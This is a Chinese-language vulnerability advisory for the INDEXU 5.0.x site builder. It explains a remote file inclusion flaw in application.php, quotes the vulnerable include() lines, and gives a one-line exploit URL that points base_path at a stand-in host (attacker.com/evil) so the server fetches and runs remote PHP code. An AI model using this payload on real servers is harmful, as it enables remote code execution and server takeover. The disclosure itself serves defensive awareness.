添加时间:
2008-10-03

系统编号:
WAVDB-00898
BUGTRAQ: 16565

影响版本:
INDEXU 5.0.0/5.0.1

程序介绍:

INDEXU是一款功能强大的建站解决方案。

漏洞分析:

INDEXU实现上存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。

在INDEXU的application.php代码中没有正确的过滤include fopen url。攻击者可以利用这个漏洞注入php代码。application.php中代码如下：

---------------application.php--------------------------------
...
include($base_path."lang/english.php");   // full path
include($base_path."pagination.class.php");   // full path

...
------------------------------------------------------------------

漏洞利用:

http://www.target.com/[path]/application.php?base_path=http://attacker.com/evil?

解决方案:
厂商补丁：
nicecoder.com
-------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.nicecoder.com/

信息来源:
<*来源：M.Hasran Addahroni （eufrato@gmail.com）
链接：http://marc.theaimsgroup.com/?l=bugtraq&m=113951690506527&w=2
*>